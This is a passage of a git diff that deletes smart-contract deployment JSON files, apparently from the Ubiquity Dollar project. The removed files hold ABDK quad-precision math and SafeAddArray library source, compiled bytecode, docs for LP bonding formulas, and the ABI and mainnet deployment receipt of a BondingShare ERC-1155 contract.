0x10000000000000000000000162E42FEF9) >>\\n 128;\\n if (xSignifier & 0x1000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000B17217F7C) >>\\n 128;\\n if (xSignifier & 0x800000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000058B90BFBD) >>\\n 128;\\n if (xSignifier & 0x400000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000002C5C85FDE) >>\\n 128;\\n if (xSignifier & 0x200000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000162E42FEE) >>\\n 128;\\n if (xSignifier & 0x100000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000B17217F6) >>\\n 128;\\n if (xSignifier & 0x80000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000058B90BFA) >>\\n 128;\\n if (xSignifier & 0x40000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000002C5C85FC) >>\\n 128;\\n if (xSignifier & 0x20000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000162E42FD) >>\\n 128;\\n if (xSignifier & 0x10000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000B17217E) >>\\n 128;\\n if (xSignifier & 0x8000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000058B90BE) >>\\n 128;\\n if (xSignifier & 0x4000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000002C5C85E) >>\\n 128;\\n if (xSignifier & 0x2000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000162E42E) >>\\n 128;\\n if (xSignifier & 0x1000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000B17216) >>\\n 128;\\n if (xSignifier & 0x800000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000058B90A) >>\\n 128;\\n if (xSignifier & 0x400000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000002C5C84) >>\\n 128;\\n if (xSignifier & 0x200000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000162E41) >>\\n 128;\\n if (xSignifier & 0x100000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000000B1720) >>\\n 128;\\n if (xSignifier & 0x80000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000058B8F) >>\\n 128;\\n if (xSignifier & 0x40000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000002C5C7) >>\\n 128;\\n if (xSignifier & 0x20000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000000162E3) >>\\n 128;\\n if (xSignifier & 0x10000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000000B171) >>\\n 128;\\n if (xSignifier & 0x8000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000000058B8) >>\\n 128;\\n if (xSignifier & 0x4000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000002C5B) >>\\n 128;\\n if (xSignifier & 0x2000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000000162D) >>\\n 128;\\n if (xSignifier & 0x1000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000B16) >>\\n 128;\\n if (xSignifier & 0x800 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000000058A) >>\\n 128;\\n if (xSignifier & 0x400 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000000002C4) >>\\n 128;\\n if (xSignifier & 0x200 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000161) >>\\n 128;\\n if (xSignifier & 0x100 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000000000B0) >>\\n 128;\\n if (xSignifier & 0x80 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000057) >>\\n 128;\\n if (xSignifier & 0x40 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000000002B) >>\\n 128;\\n if (xSignifier & 0x20 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000015) >>\\n 128;\\n if (xSignifier & 0x10 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000000000A) >>\\n 128;\\n if (xSignifier & 0x8 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000004) >>\\n 128;\\n if (xSignifier & 0x4 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000001) >>\\n 128;\\n\\n if (!xNegative) {\\n resultSignifier =\\n (resultSignifier >> 15) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n resultExponent += 0x3FFF;\\n } else if (resultExponent <= 0x3FFE) {\\n resultSignifier =\\n (resultSignifier >> 15) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n resultExponent = 0x3FFF - resultExponent;\\n } else {\\n resultSignifier =\\n resultSignifier >>\\n (resultExponent - 16367);\\n resultExponent = 0;\\n }\\n\\n return\\n bytes16(uint128((resultExponent << 112) | resultSignifier));\\n }\\n }\\n }\\n\\n /**\\n * Calculate e^x.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function exp(bytes16 x) internal pure returns (bytes16) {\\n unchecked {\\n return pow_2(mul(x, 0x3FFF71547652B82FE1777D0FFDA0D23A));\\n }\\n }\\n\\n /**\\n * Get index of the most significant non-zero bit in binary representation of\\n * x. Reverts if x is zero.\\n *\\n * @return index of the most significant non-zero bit in binary representation\\n * of x\\n */\\n function mostSignificantBit(uint256 x) private pure returns (uint256) {\\n unchecked {\\n require(x > 0);\\n\\n uint256 result = 0;\\n\\n if (x >= 0x100000000000000000000000000000000) {\\n x >>= 128;\\n result += 128;\\n }\\n if (x >= 0x10000000000000000) {\\n x >>= 64;\\n result += 64;\\n }\\n if (x >= 0x100000000) {\\n x >>= 32;\\n result += 32;\\n }\\n if (x >= 0x10000) {\\n x >>= 16;\\n result += 16;\\n }\\n if (x >= 0x100) {\\n x >>= 8;\\n result += 8;\\n }\\n if (x >= 0x10) {\\n x >>= 4;\\n result += 4;\\n }\\n if (x >= 0x4) {\\n x >>= 2;\\n result += 2;\\n }\\n if (x >= 0x2) result += 1; // No need to shift x anymore\\n\\n return result;\\n }\\n }\\n}\\n\",\"keccak256\":\"0x8fab17358acdfdef69b032603d73b5b142d4d9b8d2cc1b0f4a174536fba41b32\",\"license\":\"BSD-4-Clause\"},\"contracts/utils/SafeAddArray.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\n// SPDX-License-Identifier: EUPL V1.2\\npragma solidity ^0.8.3;\\n\\n/**\\n * @dev Wrappers over Solidity's array push operations with added check\\n *\\n */\\nlibrary SafeAddArray {\\n /**\\n * @dev Returns the addition of two unsigned integers, reverting on\\n * overflow.\\n *\\n */\\n function add(bytes32[] storage array, bytes32 value) internal {\\n for (uint256 i; i < array.length; i++) {\\n if (array[i] == value) {\\n return;\\n }\\n }\\n array.push(value);\\n }\\n\\n function add(string[] storage array, string memory value) internal {\\n bytes32 hashValue = keccak256(bytes(value));\\n for (uint256 i; i < array.length; i++) {\\n if (keccak256(bytes(array[i])) == hashValue) {\\n return;\\n }\\n }\\n array.push(value);\\n }\\n\\n function add(uint256[] storage array, uint256 value) internal {\\n for (uint256 i; i < array.length; i++) {\\n if (array[i] == value) {\\n return;\\n }\\n }\\n array.push(value);\\n }\\n\\n function add(uint256[] storage array, uint256[] memory values) internal {\\n for (uint256 i; i < values.length; i++) {\\n bool exist = false;\\n for (uint256 j; j < array.length; j++) {\\n if (array[j] == values[i]) {\\n exist = true;\\n break;\\n }\\n }\\n if (!exist) {\\n array.push(values[i]);\\n }\\n }\\n }\\n}\\n\",\"keccak256\":\"0x91fe76b3329822312f636237bc19bf8d5b1943b489c782b997cde6e1c9bc47af\",\"license\":\"MIT\"}},\"version\":1}", - "bytecode": "0x608060405234801561001057600080fd5b50610a47806100206000396000f3fe608060405234801561001057600080fd5b50600436106100675760003560e01c8063a64154f011610050578063a64154f0146100a4578063c2ee3a08146100b8578063d5a8cf64146100a457610067565b8063629056cb1461006c578063a609d91214610091575b600080fd5b61007f61007a366004610927565b6100c7565b60405190815260200160405180910390f35b61007f61009f3660046109d0565b61013c565b61007f6100b2366004610927565b92915050565b61007f670de0b6b3a764000081565b815160009081906100d790610197565b905060006100e484610197565b905060006100f58760a00151610197565b9050610131610122826101126001600160801b03198716866101fd565b6001600160801b03191690610496565b6001600160801b03191661079c565b979650505050505050565b6000838310801561014d5750600083115b1561018d5761018661012261016186610197565b61011261016d87610197565b61017687610197565b6001600160801b031916906101fd565b9050610190565b50805b9392505050565b6000816101a6575060006101f8565b8160006101b282610820565b905060708110156101cb578060700382901b91506101de565b60708111156101de576070810382901c91505b613fff0160701b6001600160701b03919091161760801b90505b919050565b6000617fff60f084811c8216919084901c8116908214156102b65780617fff141561027b576001600160801b0319858116908516141561024857505050600160ff1b811682186100b2565b600160ff1b6001600160801b031986861816141561026b575050508181176100b2565b5061ffff60ef1b91506100b29050565b6f7fffffffffffffffffffffffffffffff60801b84166102a5575061ffff60ef1b91506100b29050565b505050600160ff1b811682186100b2565b80617fff14156102fb576f7fffffffffffffffffffffffffffffff60801b85166102ea575061ffff60ef1b91506100b29050565b505050600160ff1b821681186100b2565b6001600160701b03608086901c1682610317576001925061031e565b600160701b175b6001600160701b03608086901c168261033a5760019250610341565b600160701b175b908102908161036f57600160ff1b8787181661035e576000610364565b600160ff1b5b9450505050506100b2565b928201926000600160e11b8310156103a357600160e01b83101561039b5761039683610820565b61039e565b60e05b6103a6565b60e15b905061407081860110156103c157600094506000925061045e565b6140e08186011015610404576140708510156103e657846140700383901c92506103fb565b6140708511156103fb57614070850383901b92505b6000945061045e565b61c0dd818601111561041e57617fff94506000925061045e565b6070811115610435576070810383901c9250610448565b6070811015610448578060700383901b92505b6001600160701b03831692506140df8186010394505b82607086901b888a186001607f1b60801b1660801c6fffffffffffffffffffffffffffffffff16171760801b955050505050506100b2565b6000617fff60f084811c8216919084901c8116908214156104cb5780617fff14156102a5575061ffff60ef1b91506100b29050565b80617fff141561051c577dffffffffffffffffffffffffffff0000000000000000000000000000000084161561050b575061ffff60ef1b91506100b29050565b505050808218600160ff1b166100b2565b6f7fffffffffffffffffffffffffffffff60801b8416610578576f7fffffffffffffffffffffffffffffff60801b8516610560575061ffff60ef1b91506100b29050565b505050808218600160ff1b16617fff60f01b176100b2565b6001600160701b03608085901c1681610594576001915061059b565b600160701b175b6001600160701b03608087901c16836105da5780156105d55760006105bf82610820565b6001955060e20393840160711901939190911b90505b6105e4565b600160701b1760721b5b81818161060157634e487b7160e01b600052601260045260246000fd5b0490508061061d57600160ff1b8787181661035e576000610364565b6d100000000000000000000000000081101561064957634e487b7160e01b600052600160045260246000fd5b60006e0800000000000000000000000000008210156106aa576e04000000000000000000000000000082101561069f576e02000000000000000000000000000082101561069757607061069a565b60715b6106a2565b60725b60ff166106b3565b6106b382610820565b9050836140710181860111156106d157617fff945060009150610764565b83818601613ffc0110156106ec576000945060009150610764565b83818601613f8c011015610739578385613ffc011115610717578385613ffc010382901b9150610730565b8385613ffc01101561073057613ffc8585030382901c91505b60009450610764565b607081111561074c576070810382901c91505b6001600160701b038216915083818601613f8d010394505b81607086901b888a186001607f1b60801b1660801c6fffffffffffffffffffffffffffffffff16171760801b955050505050506100b2565b6000617fff60f083901c16613fff8110156107bb5760009150506101f8565b6001607f1b608084901c106107cf57600080fd5b6140fe8111156107de57600080fd5b600160701b6001600160701b03608085901c161761406f8210156108085761406f8290031c610190565b61406f8211156101905761406e1982011b9392505050565b600080821161082e57600080fd5b6000700100000000000000000000000000000000831061085057608092831c92015b68010000000000000000831061086857604092831c92015b640100000000831061087c57602092831c92015b62010000831061088e57601092831c92015b610100831061089f57600892831c92015b601083106108af57600492831c92015b600483106108bf57600292831c92015b600283106100b25760010192915050565b600082601f8301126108e0578081fd5b6108ea60406109fb565b8083856040860111156108fb578384fd5b835b600281101561091c5781358452602093840193909101906001016108fd565b509095945050505050565b600080600083850361012081121561093d578384fd5b60c081121561094a578384fd5b5061095560c06109fb565b843573ffffffffffffffffffffffffffffffffffffffff81168114610978578485fd5b808252506020850135602082015260408501356040820152606085013560608201526080850135608082015260a085013560a0820152809350506109bf8560c086016108d0565b915061010084013590509250925092565b6000806000606084860312156109e4578283fd5b505081359360208301359350604090920135919050565b604051601f8201601f1916810167ffffffffffffffff81118282101715610a3257634e487b7160e01b600052604160045260246000fd5b60405291905056fea164736f6c6343000803000a", - "deployedBytecode": "0x608060405234801561001057600080fd5b50600436106100675760003560e01c8063a64154f011610050578063a64154f0146100a4578063c2ee3a08146100b8578063d5a8cf64146100a457610067565b8063629056cb1461006c578063a609d91214610091575b600080fd5b61007f61007a366004610927565b6100c7565b60405190815260200160405180910390f35b61007f61009f3660046109d0565b61013c565b61007f6100b2366004610927565b92915050565b61007f670de0b6b3a764000081565b815160009081906100d790610197565b905060006100e484610197565b905060006100f58760a00151610197565b9050610131610122826101126001600160801b03198716866101fd565b6001600160801b03191690610496565b6001600160801b03191661079c565b979650505050505050565b6000838310801561014d5750600083115b1561018d5761018661012261016186610197565b61011261016d87610197565b61017687610197565b6001600160801b031916906101fd565b9050610190565b50805b9392505050565b6000816101a6575060006101f8565b8160006101b282610820565b905060708110156101cb578060700382901b91506101de565b60708111156101de576070810382901c91505b613fff0160701b6001600160701b03919091161760801b90505b919050565b6000617fff60f084811c8216919084901c8116908214156102b65780617fff141561027b576001600160801b0319858116908516141561024857505050600160ff1b811682186100b2565b600160ff1b6001600160801b031986861816141561026b575050508181176100b2565b5061ffff60ef1b91506100b29050565b6f7fffffffffffffffffffffffffffffff60801b84166102a5575061ffff60ef1b91506100b29050565b505050600160ff1b811682186100b2565b80617fff14156102fb576f7fffffffffffffffffffffffffffffff60801b85166102ea575061ffff60ef1b91506100b29050565b505050600160ff1b821681186100b2565b6001600160701b03608086901c1682610317576001925061031e565b600160701b175b6001600160701b03608086901c168261033a5760019250610341565b600160701b175b908102908161036f57600160ff1b8787181661035e576000610364565b600160ff1b5b9450505050506100b2565b928201926000600160e11b8310156103a357600160e01b83101561039b5761039683610820565b61039e565b60e05b6103a6565b60e15b905061407081860110156103c157600094506000925061045e565b6140e08186011015610404576140708510156103e657846140700383901c92506103fb565b6140708511156103fb57614070850383901b92505b6000945061045e565b61c0dd818601111561041e57617fff94506000925061045e565b6070811115610435576070810383901c9250610448565b6070811015610448578060700383901b92505b6001600160701b03831692506140df8186010394505b82607086901b888a186001607f1b60801b1660801c6fffffffffffffffffffffffffffffffff16171760801b955050505050506100b2565b6000617fff60f084811c8216919084901c8116908214156104cb5780617fff14156102a5575061ffff60ef1b91506100b29050565b80617fff141561051c577dffffffffffffffffffffffffffff0000000000000000000000000000000084161561050b575061ffff60ef1b91506100b29050565b505050808218600160ff1b166100b2565b6f7fffffffffffffffffffffffffffffff60801b8416610578576f7fffffffffffffffffffffffffffffff60801b8516610560575061ffff60ef1b91506100b29050565b505050808218600160ff1b16617fff60f01b176100b2565b6001600160701b03608085901c1681610594576001915061059b565b600160701b175b6001600160701b03608087901c16836105da5780156105d55760006105bf82610820565b6001955060e20393840160711901939190911b90505b6105e4565b600160701b1760721b5b81818161060157634e487b7160e01b600052601260045260246000fd5b0490508061061d57600160ff1b8787181661035e576000610364565b6d100000000000000000000000000081101561064957634e487b7160e01b600052600160045260246000fd5b60006e0800000000000000000000000000008210156106aa576e04000000000000000000000000000082101561069f576e02000000000000000000000000000082101561069757607061069a565b60715b6106a2565b60725b60ff166106b3565b6106b382610820565b9050836140710181860111156106d157617fff945060009150610764565b83818601613ffc0110156106ec576000945060009150610764565b83818601613f8c011015610739578385613ffc011115610717578385613ffc010382901b9150610730565b8385613ffc01101561073057613ffc8585030382901c91505b60009450610764565b607081111561074c576070810382901c91505b6001600160701b038216915083818601613f8d010394505b81607086901b888a186001607f1b60801b1660801c6fffffffffffffffffffffffffffffffff16171760801b955050505050506100b2565b6000617fff60f083901c16613fff8110156107bb5760009150506101f8565b6001607f1b608084901c106107cf57600080fd5b6140fe8111156107de57600080fd5b600160701b6001600160701b03608085901c161761406f8210156108085761406f8290031c610190565b61406f8211156101905761406e1982011b9392505050565b600080821161082e57600080fd5b6000700100000000000000000000000000000000831061085057608092831c92015b68010000000000000000831061086857604092831c92015b640100000000831061087c57602092831c92015b62010000831061088e57601092831c92015b610100831061089f57600892831c92015b601083106108af57600492831c92015b600483106108bf57600292831c92015b600283106100b25760010192915050565b600082601f8301126108e0578081fd5b6108ea60406109fb565b8083856040860111156108fb578384fd5b835b600281101561091c5781358452602093840193909101906001016108fd565b509095945050505050565b600080600083850361012081121561093d578384fd5b60c081121561094a578384fd5b5061095560c06109fb565b843573ffffffffffffffffffffffffffffffffffffffff81168114610978578485fd5b808252506020850135602082015260408501356040820152606085013560608201526080850135608082015260a085013560a0820152809350506109bf8560c086016108d0565b915061010084013590509250925092565b6000806000606084860312156109e4578283fd5b505081359360208301359350604090920135919050565b604051601f8201601f1916810167ffffffffffffffff81118282101715610a3257634e487b7160e01b600052604160045260246000fd5b60405291905056fea164736f6c6343000803000a", - "devdoc": { - "kind": "dev", - "methods": { - "correctedAmountToWithdraw(uint256,uint256,uint256)": { - "details": "formula to calculate the corrected amount to withdraw based on the proportion of lp deposited against actual LP token on thge bonding contract", - "params": { - "_amount": ", amount of LP tokens", - "_bondingLpBalance": ", actual bonding contract LP tokens balance minus lp rewards", - "_totalLpDeposited": ", Total amount of LP deposited by users" - } - }, - "lpRewardsAddLiquidityNormalization((address,uint256,uint256,uint256,uint256,uint256),uint256[2],uint256)": { - "details": "formula may add a decreasing rewards if locking end is near when adding liquidity", - "params": { - "_amount": ", amount of LP tokens", - "_bond": ", bonding share" - } - }, - "lpRewardsRemoveLiquidityNormalization((address,uint256,uint256,uint256,uint256,uint256),uint256[2],uint256)": { - "details": "formula may add a decreasing rewards if locking end is near when removing liquidity", - "params": { - "_amount": ", amount of LP tokens", - "_bond": ", bonding share" - } - }, - "sharesForLP((address,uint256,uint256,uint256,uint256,uint256),uint256[2],uint256)": { - "details": "formula UBQ Rights corresponding to a bonding shares LP amount", - "params": { - "_amount": ", amount of LP tokens", - "_bond": ", bonding share" - } - } - }, - "version": 1 - }, - "userdoc": { - "kind": "user", - "methods": { - "correctedAmountToWithdraw(uint256,uint256,uint256)": { - "notice": "corrected_amount = amount * ( bondingLpBalance / totalLpDeposited) if there is more or the same amount of LP than deposited then do nothing" - }, - "lpRewardsAddLiquidityNormalization((address,uint256,uint256,uint256,uint256,uint256),uint256[2],uint256)": { - "notice": "rewards = _amount;" - }, - "lpRewardsRemoveLiquidityNormalization((address,uint256,uint256,uint256,uint256,uint256),uint256[2],uint256)": { - "notice": "rewards = _amount;" - }, - "sharesForLP((address,uint256,uint256,uint256,uint256,uint256),uint256[2],uint256)": { - "notice": "shares = (bond.shares * _amount ) / bond.lpAmount ;" - } - }, - "version": 1 - }, - "storageLayout": { - "storage": [], - "types": null - } -} diff --git a/packages/contracts/dollar/deployments/mainnet/BondingShare.json b/packages/contracts/dollar/deployments/mainnet/BondingShare.json deleted file mode 100644 index ff6504a55..000000000 --- a/packages/contracts/dollar/deployments/mainnet/BondingShare.json +++ /dev/null @@ -1,727 +0,0 @@ -{ - "address": "0x0013B6033dd999676Dc547CEeCEA29f781D8Db17", - "abi": [ - { - "inputs": [ - { - "internalType": "address", - "name": "_manager", - "type": "address" - } - ], - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "account", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "operator", - "type": "address" - }, - { - "indexed": false, - "internalType": "bool", - "name": "approved", - "type": "bool" - } - ], - "name": "ApprovalForAll", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "account", - "type": "address" - } - ], - "name": "Paused", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "operator", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "from", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256[]", - "name": "ids", - "type": "uint256[]" - }, - { - "indexed": false, - "internalType": "uint256[]", - "name": "values", - "type": "uint256[]" - } - ], - "name": "TransferBatch", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "operator", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "from", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "id", - "type": "uint256" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "value", - "type": "uint256" - } - ], - "name": "TransferSingle", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "string", - "name": "value", - "type": "string" - }, - { - "indexed": true, - "internalType": "uint256", - "name": "id", - "type": "uint256" - } - ], - "name": "URI", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "account", - "type": "address" - } - ], - "name": "Unpaused", - "type": "event" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "account", - "type": "address" - }, - { - "internalType": "uint256", - "name": "id", - "type": "uint256" - } - ], - "name": "balanceOf", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address[]", - "name": "accounts", - "type": "address[]" - }, - { - "internalType": "uint256[]", - "name": "ids", - "type": "uint256[]" - } - ], - "name": "balanceOfBatch", - "outputs": [ - { - "internalType": "uint256[]", - "name": "", - "type": "uint256[]" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "account", - "type": "address" - }, - { - "internalType": "uint256", - "name": "id", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "value", - "type": "uint256" - } - ], - "name": "burn", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "account", - "type": "address" - }, - { - "internalType": "uint256[]", - "name": "ids", - "type": "uint256[]" - }, - { - "internalType": "uint256[]", - "name": "values", - "type": "uint256[]" - } - ], - "name": "burnBatch", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "holder", - "type": "address" - } - ], - "name": "holderTokens", - "outputs": [ - { - "internalType": "uint256[]", - "name": "", - "type": "uint256[]" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "account", - "type": "address" - }, - { - "internalType": "address", - "name": "operator", - "type": "address" - } - ], - "name": "isApprovedForAll", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "manager", - "outputs": [ - { - "internalType": "contract UbiquityAlgorithmicDollarManager", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "internalType": "uint256", - "name": "id", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - }, - { - "internalType": "bytes", - "name": "data", - "type": "bytes" - } - ], - "name": "mint", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "internalType": "uint256[]", - "name": "ids", - "type": "uint256[]" - }, - { - "internalType": "uint256[]", - "name": "amounts", - "type": "uint256[]" - }, - { - "internalType": "bytes", - "name": "data", - "type": "bytes" - } - ], - "name": "mintBatch", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "pause", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "paused", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "from", - "type": "address" - }, - { - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "internalType": "uint256[]", - "name": "ids", - "type": "uint256[]" - }, - { - "internalType": "uint256[]", - "name": "amounts", - "type": "uint256[]" - }, - { - "internalType": "bytes", - "name": "data", - "type": "bytes" - } - ], - "name": "safeBatchTransferFrom", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "from", - "type": "address" - }, - { - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "internalType": "uint256", - "name": "id", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - }, - { - "internalType": "bytes", - "name": "data", - "type": "bytes" - } - ], - "name": "safeTransferFrom", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "operator", - "type": "address" - }, - { - "internalType": "bool", - "name": "approved", - "type": "bool" - } - ], - "name": "setApprovalForAll", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "bytes4", - "name": "interfaceId", - "type": "bytes4" - } - ], - "name": "supportsInterface", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "totalSupply", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "unpause", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "name": "uri", - "outputs": [ - { - "internalType": "string", - "name": "", - "type": "string" - } - ], - "stateMutability": "view", - "type": "function" - } - ], - "transactionHash": "0x9f18c49f2507fef65a50a12d12af13ed93a55f48fab5fee7b01d5aac0118f4c4", - "receipt": { - "to": null, - "from": "0xefC0e701A824943b469a694aC564Aa1efF7Ab7dd", - "contractAddress": "0x0013B6033dd999676Dc547CEeCEA29f781D8Db17", - "transactionIndex": 10, - "gasUsed": "2517703", - "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", - "blockHash": "0xd26059b29a6a0b34dd92924c4ce72ae3373f6d29695970254b23b1c42e39b952", - "transactionHash": "0x9f18c49f2507fef65a50a12d12af13ed93a55f48fab5fee7b01d5aac0118f4c4", - "logs": [], - "blockNumber": 12595542, - "cumulativeGasUsed": "5009311", - "status": 1, - "byzantium": true - }, - "args": ["0x4DA97a8b831C345dBe6d16FF7432DF2b7b776d98"], - "solcInputHash": "718dfe5f2e9bb98c22443f71ab0527e0", - "metadata": "{\"compiler\":{\"version\":\"0.8.3+commit.8d00100c\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_manager\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"operator\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"bool\",\"name\":\"approved\",\"type\":\"bool\"}],\"name\":\"ApprovalForAll\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"Paused\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"operator\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"ids\",\"type\":\"uint256[]\"},{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"values\",\"type\":\"uint256[]\"}],\"name\":\"TransferBatch\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"operator\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"id\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"TransferSingle\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"value\",\"type\":\"string\"},{\"indexed\":true,\"internalType\":\